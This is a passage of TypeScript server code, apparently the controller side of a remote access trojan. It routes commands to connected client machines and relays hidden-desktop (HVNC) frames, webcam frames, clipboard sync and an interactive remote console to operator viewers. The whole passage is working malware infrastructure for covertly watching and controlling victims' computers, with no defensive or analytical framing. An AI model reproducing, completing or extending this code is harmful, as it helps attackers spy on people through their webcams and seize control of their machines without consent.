|
case "clipboard_sync_stop": {
|
|
sendDesktopCommand(target, "clipboard_sync_stop", {});
|
|
break;
|
|
}
|
|
default:
|
|
break;
|
|
}
|
|
}
|
|
|
|
export function sendHVNCCommand(target: ClientInfo, commandType: string, payload: any) {
|
|
target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload }));
|
|
}
|
|
|
|
(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
|
const buf = buildViewerFrameBuffer(bytes, header);
|
|
return broadcastFrameToViewers(sessionManager.getHvncSessionsForClient(clientId), buf, header);
|
|
};
|
|
|
|
(globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
|
const buf = buildViewerFrameBuffer(bytes, header);
|
|
return broadcastFrameToViewers(sessionManager.getWebcamSessionsForClient(clientId), buf, header);
|
|
};
|
|
|
|
const textDecoder = new TextDecoder();
|
|
|
|
export function handleConsoleViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
|
const payload = decodeViewerPayload(raw);
|
|
if (!payload) return;
|
|
if (!payload || typeof payload.type !== "string") {
|
|
return;
|
|
}
|
|
|
|
const { clientId, sessionId } = ws.data;
|
|
const target = clientManager.getClient(clientId);
|
|
if (!target) {
|
|
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
|
return;
|
|
}
|
|
|
|
switch (payload.type) {
|
|
case "input": {
|
|
const data = typeof payload.data === "string" ? payload.data : "";
|
|
sendConsoleCommand(target, "console_input", { sessionId, data });
|
|
break;
|
|
}
|
|
case "resize": {
|
|
const cols = Number(payload.cols) || 120;
|
|
const rows = Number(payload.rows) || 36;
|
|
sendConsoleCommand(target, "console_resize", { sessionId, cols, rows });
|
|
break;
|
|
}
|
|
case "stop": {
|
|
if (!sessionId) break;
|
|
stopConsoleOnTarget(target, sessionId);
|
|
break;
|
|
}
|
|
default:
|
|
break;
|
|
}
|
|
}
|
|
|
|
export function handleConsoleOutput(clientId: string, payload: any) {
|
|
const sessionId = payload.sessionId as string;
|
|
if (!sessionId) return;
|
|
const session = sessionManager.getConsoleSession(sessionId);
|
|
if (!session) return;
|
|
if (session.clientId !== clientId) return;
|
|
const data = payload.data ? textDecoder.decode(payload.data as Uint8Array) : "";
|
|
safeSendViewer(session.viewer, {
|
|
type: "output",
|
|
sessionId,
|
|
data,
|
|
exitCode: payload.exitCode,
|
|
error: payload.error,
|
|
});
|
|
if (payload.exitCode !== undefined || payload.error) {
|
|
const reason = payload.error ? payload.error : `Process exited (${payload.exitCode ?? ""})`;
|
|
safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId });
|
|
sessionManager.deleteConsoleSession(sessionId);
|
|
}
|
|
}
|